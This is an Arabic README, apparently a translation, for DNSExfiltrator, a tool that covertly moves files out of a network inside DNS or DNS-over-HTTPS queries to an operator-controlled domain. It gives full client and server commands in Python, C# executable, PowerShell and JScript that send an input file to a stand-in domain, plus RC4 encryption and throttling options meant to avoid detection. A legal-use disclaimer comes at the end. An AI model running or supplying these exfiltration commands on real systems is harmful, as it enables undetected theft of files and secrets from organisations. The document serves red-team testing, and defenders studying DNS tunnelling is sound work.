
تسريب البيانات عبر قناة خفية لطلبات DNS
المؤلف: Arno0x0x - @Arno0x0x
يسمح DNSExfiltrator بنقل (تسريب) ملف عبر قناة مغلفة لطلبات DNS. هذه هي أداة اختبار تسرب بيانات تسمح بتسريب البيانات عبر قناة مغلفة.
لدى DNSExfiltrator جانبان:
dnsexfiltrator.py)، يعمل كخادم DNS مخصص، يستقبل الملف.dnsExfiltrator.cs: سكريبت C# يمكن تجميعه باستخدام csc.exe لتوفير ملف تنفيذي مُدار لنظام ويندوز.Invoke-DNSExfiltrator.ps1: سكريبت PowerShell يوفر نفس الوظائف عن طريق تغليف تجميع dnsExfiltrator.dnsExfiltrator.js: سكريبت JScript وهو تحويل لتجميع DLL الخاص بـ dnsExiltrator باستخدام DotNetToJScript، ويوفر نفس الوظائف تمامًا.لكي يعمل كل شيء يجب أن تمتلك اسم نطاق (Domain Name) وتعين سجل DNS (NS) لذلك النطاق للإشارة إلى الخادم الذي سيشغل الجانب الخادم dnsexfiltrator.py.
بشكل افتراضي، يستخدم DNSExfiltrator خادم DNS المحدد من قبل النظام، ولكن يمكنك أيضًا تعيين خادم محدد لاستخدامه (مفيد لأغراض التصحيح أو لتشغيل الجانب الخادم محليًا على سبيل المثال).
بدلاً من ذلك، باستخدام المعامل h، يمكن لـ DNSExfiltrator تنفيذ DoH (DNS عبر HTTP) باستخدام خوادم Google DoH أو CloudFlare DoH.
بشكل افتراضي، يتم ترميز البيانات المراد تسريبها بتشفير base64URL لتناسب طلبات DNS. ومع ذلك، قد تقوم بعض محلّلات DNS بكسر هذا الترميز (وهذا منطقي لأن FQDN ليس من المفترض أن تكون حساسة لحالة الأحرف على أي حال) عن طريق العبث بحساسية حالة الأحرف (أحرف كبيرة أو صغيرة) وهو أمر مهم بالتأكيد لعملية الترميز/فك الترميز. لتجاوز هذه المشكلة يمكنك استخدام العلامة -b32 لفرض ترميز البيانات بتشفير Base32، والذي يأتي مع زيادة طفيفة في الحجم. إذا كنت تستخدم CloudFlare DoH، يتم تطبيق ترميز base32 تلقائيًا.
يدعم DNSExfiltrator تشفير RC4 أساسي للبيانات المسربة، باستخدام كلمة المرور المقدمة لتشفير/فك تشفير البيانات.
يوفر DNSExfiltrator أيضًا بعض الميزات الاختيارية لتجنب الاكتشاف:
التبعية الوحيدة هي في الجانب الخادم، حيث يعتمد سكريبت dnsexfiltrator.py على المكتبة الخارجية dnslib. يمكنك تثبيتها باستخدام pip:
pip install -r requirements.txt
الجانب الخادم (SERVER SIDE)
قم بتشغيل سكريبت dnsexfiltrator.py مع تمرير اسم النطاق وكلمة مرور فك التشفير المراد استخدامها:
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password
الجانب العميل (CLIENT SIDE)
يمكنك إما استخدام النسخة المجمعة، أو غلاف PowerShell (وهو في الأساس نفس الشيء) أو غلاف JScript. في أي حال، المعاملات هي نفسها، مع اختلاف طفيف في طريقة تمريرها في PowerShell.
1/ استخدام الملف التنفيذي المُجمَّع بلغة C# لويندوز (والذي يمكنك العثور عليه في دليل release):
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
file: [إلزامي] اسم الملف المراد تسريبه.
domainName: [إلزامي] اسم النطاق لاستخدامه في طلبات DNS.
password: [إلزامي] كلمة المرور المستخدمة لتشفير البيانات المراد تسريبها.
-b32: [اختياري] استخدام ترميز base32 للبيانات. قد يكون مطلوبًا من قبل بعض محلّلات DNS التي تكسر حالة الأحرف.
h: [اختياري] استخدام خوادم Google أو CloudFlare DoH (DNS عبر HTTP).
DNS_Server: [اختياري] اسم خادم DNS أو عنوان IP لاستخدامه في طلبات DNS. القيمة الافتراضية هي خادم النظام.
throttleTime: [اختياري] الوقت بالمللي ثانية للانتظار بين كل طلب DNS.
requestMaxSize: [اختياري] الحد الأقصى للحجم بالبايت لكل طلب DNS. القيمة الافتراضية هي 255 بايت.
labelMaxSize: [اختياري] الحد الأقصى للحجم بالحروف لكل تسمية (نطاق فرعي) في طلب DNS. القيمة الافتراضية هي 63 حرفًا.
2/ استخدام سكريبت PowerShell، قم باستدعائه بأي طريقة تفضلها (ربما تعرف طرقًا عديدة لاستدعاء سكريبت PowerShell) مع معاملات السكريبت. المثال الأساسي:
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]
تحقق من قسم الأمثلة (EXAMPLES) في ملف السكريبت لمزيد من أمثلة الاستخدام.

3/ استخدام سكريبت JScript، قم بتمرير نفس الوسائط تمامًا كما تفعل مع الملف التنفيذي المستقل لويندوز:
cscript.exe dnsExiltrator.js inputFile mydomain.com password
أو مع بعض الخيارات:
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500
هذه الأداة مصممة للاستخدام بطريقة قانونية وشرعية فقط:
نقتبس من مؤلفي Empire: لا توجد طريقة لبناء أدوات هجومية مفيدة لصناعة الأمن السيبراني الشرعية مع منع الجهات الخبيثة من إساءة استخدامها في نفس الوقت.